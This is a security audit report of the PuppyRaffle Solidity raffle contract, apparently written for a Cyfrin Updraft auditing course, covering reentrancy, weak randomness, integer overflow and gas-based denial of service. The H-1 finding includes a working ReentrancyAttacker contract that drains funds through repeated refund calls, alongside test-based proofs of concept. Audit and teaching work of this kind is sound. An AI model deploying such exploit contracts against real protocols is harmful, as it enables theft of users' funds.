



PuppyRaffle Audit Report

Version 1.0

Pratik

September 2, 2025

Protocol Audit Report

Pratik

September 2nd, 2025

Prepared by: [Pratik] Lead Auditors: - Pratik Tikare

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain the raffle balance.
 - * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
 - * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
 - Medium

- * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants.
- * [M-2] Smart contract wallets raffle winners without a `receive` or a 'fallback function' will block the start of a new contest.
- Low
 - * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
- Gas
 - * [G-1] Unchanged state variables should be declared constant or immutable
 - * [G-2] Storage variables in a loop should be cached.
- Informational
 - * [I-1]: Unspecific Solidity Pragma
 - * [I-2] Using an outdated version of Solidity is not recommended.
 - * [I-3]: Address State Variable Set Without Checks
 - * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.
 - * [I-5] Use of "magic" numbers is discouraged
 - * [I-6] State change without event
 - * [I-7] Dead code

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I have made all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit by the me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This audit is a part of the Cyfrin Updraft's security and auditing course.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain the raffle balance.

Description: The `PuppyRaffle::refund` does not follow CEI (Checks, Effects, Interactions) and as a result enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5
6     @> payable(msg.sender).sendValue(entranceFee);
```

```
7 @>     players[playerIndex] = address(0);
8
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1     function testReentrancyRefund() public {
2         address[] memory players = new address[] (4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10             puppyRaffle);
11         address attackUser = makeAddr("attackUser");
12         vm.deal(attackUser, 1 ether);
13
14         uint256 startingAttackContractBalance = address(
15             attackerContract).balance;
16         uint256 startingContractBalance = address(puppyRaffle).balance;
17
18         vm.prank(attackUser);
19         attackerContract.attack{value: entranceFee}();
20
21         console.log("starting attacker contract balance:",
22             startingAttackContractBalance);
23         console.log("starting contract balance:",
24             startingContractBalance);
```

```
21
22     console.log("ending attacker contract balance:", address(
23         attackerContract).balance);
24     console.log("ending contract balance:", address(puppyRaffle).
25         balance);
26 }
```

And this contract as well.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17             ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if (address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28         _stealMoney();
29     }
30
31     receive() external payable {
32         _stealMoney();
33     }
34 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
```

```
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5
6 +       players[playerIndex] = address(0);
7 +       emit RaffleRefunded(playerAddress);
8
9         payable(msg.sender).sendValue(entranceFee);
10
11 -      players[playerIndex] = address(0);
12 -      emit RaffleRefunded(playerAddress);
13     }
```

[H-2] Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [Solidity blog on prevrandao][<https://soliditydeveloper.com/prevrandao>] `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1
2 uint64 myVar = type(uint64).max
3 // 18446744073709551615
4 myVar = myVar + 1
5 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle was created with 4 players.
2. Each player entered the raffle with an entrance fee of 1e27.
3. The expected fees (20% of the total pot) were calculated as 8000000000000000000000000000.
4. After the raffle concluded, the contract's totalFees() reported only 16591373826495873024.
5. This demonstrates that the fee calculation overflowed due to the uint64 cast, resulting in the feeAddress receiving significantly less than the intended amount.
6. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
1         require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the value to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much balance in the contract that the above `require` will be impossible to hit.

Code

Place the following test into `PuppyRaffleTest.t.sol`

```

1      function testOverflowOnTotalFees() public {
2          uint256 bigEntranceFee = 1e27;
3          puppyRaffle = new PuppyRaffle(bigEntranceFee, feeAddress,
4              duration);
5
6          // Arrange: add 4 players (minimum required)
7          address[] memory players = new address[](4);
8          players[0] = playerOne;
9          players[1] = playerTwo;
10         players[2] = playerThree;
11         players[3] = playerFour;

```

```
11
12     // All 4 players enter at once
13     puppyRaffle.enterRaffle{value: bigEntranceFee * 4}(players);
14
15     // Expected fee (20% of pot)
16     uint256 expectedFees = (bigEntranceFee * players.length * 20) /
17         100;
18
19     // Move time forward so raffle ends
20     vm.warp(block.timestamp + duration + 1);
21
22     // Select winner -> this updates totalFees with the `uint64(fee
23     )` cast
24     puppyRaffle.selectWinner();
25
26     // Read back recorded totalFees
27     uint256 recordedFees = puppyRaffle.totalFees();
28
29     console.log("Expected fees :", expectedFees);
30     console.log("Recorded fees :", recordedFees);
31
32     // This proves overflow: recordedFees is strictly less than
33     expected
34     assertLt(recordedFees, expectedFees);
35 }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of Solidity, however you would still have a hard time with the `uint64` type if too much fees is collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -         require(address(this).balance == uint256(totalFees), "
PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks

a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1     for (uint256 i = 0; i < players.length - 1; i++) {
2         for (uint256 j = i + 1; j < players.length; j++) {
3             require(players[i] != players[j], "PuppyRaffle: Duplicate
4                 player");
5         }
6     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big that no one else enters guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 - 2nd 100 players: ~18995515

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppuRaffleTest.t.sol`

```
1     function testForDoSAttack() public {
2         vm.txGasPrice(1);
3
4         // Lets enter 100 players
5         uint256 playersNum = 100;
6         address[] memory players = new address[](playersNum);
7         for (uint256 i = 0; i < playersNum; i++) {
8             players[i] = address(i);
9         }
10        uint256 gasStart = gasleft();
11        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
12            players);
13        uint256 gasEnd = gasleft();
14
15        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
16
17        console.log("Gas cost of the first 100 players: ", gasUsedFirst
18            );
19
20        address[] memory playersTwo = new address[](playersNum);
21        for (uint256 i = 0; i < playersNum; i++) {
```

```
20         playersTwo[i] = address(i + playersNum);
21     }
22     uint256 gasStartSecond = gasleft();
23     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
24         playersTwo);
25     uint256 gasEndSecond = gasleft();
26     uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
27         gasprice;
28     console.log("Gas cost of the Second 100 players: ",
29         gasUsedSecond);
30     assert(gasUsedFirst < gasUsedSecond);
31 }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet addresses.
2. Consider using a mapping to check for duplicates. This would allow a constant time lookup of whether a user has already entered.

[M-2] Smart contract wallets raffle winners without a receive or a 'fallback function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses => payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (recommended).

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1    /// @return the index of the player in the array, if they are not
    active, it returns 0
2    function getActivePlayerIndex(address player) external view returns
    (uint256) {
3        for (uint256 i = 0; i < players.length; i++) {
4            if (players[i] == player) {
5                return i;
6            }
7        }
8        return 0;
9    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

Reading from storage is much more expensive than reading from a constant or immutable variable.

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length`, you read from storage as opposed to memory which is more gas efficient.

```
1 +     uint256 playerLength = players.length;
2 -     for (uint256 i = 0; i < players.length - 1; i++) {
3 +     for (uint256 i = 0; i < playerLength - 1; i++) {
4 -         for (uint256 j = i + 1; j < players.length; j++) {
5 +         for (uint256 j = i + 1; j < playerLength; j++) {
6             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7         }
8     }
```

Informational

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1      feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 206

```
1      feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 -      (bool success,) = winner.call{value: prizePool}("");
2 -      require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3      _safeMint(winner, tokenId);
4 +      (bool success,) = winner.call{value: prizePool}("");
5 +      require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
1      uint256 prizePool = (totalAmountCollected * 80) / 100; // q is
    the math correct?
2      uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;  
2 uint256 public constant FEE_PERCENTAGE = 20;  
3 uint256 public constant POOL_PRECISION = 100;
```

[I-6] State change without event

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 192

```
1 function withdrawFees() external {
```

[I-7] Dead code

Functions that are not used. Consider removing them.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 212

```
1 function _isActivePlayer() internal view returns (bool) {
```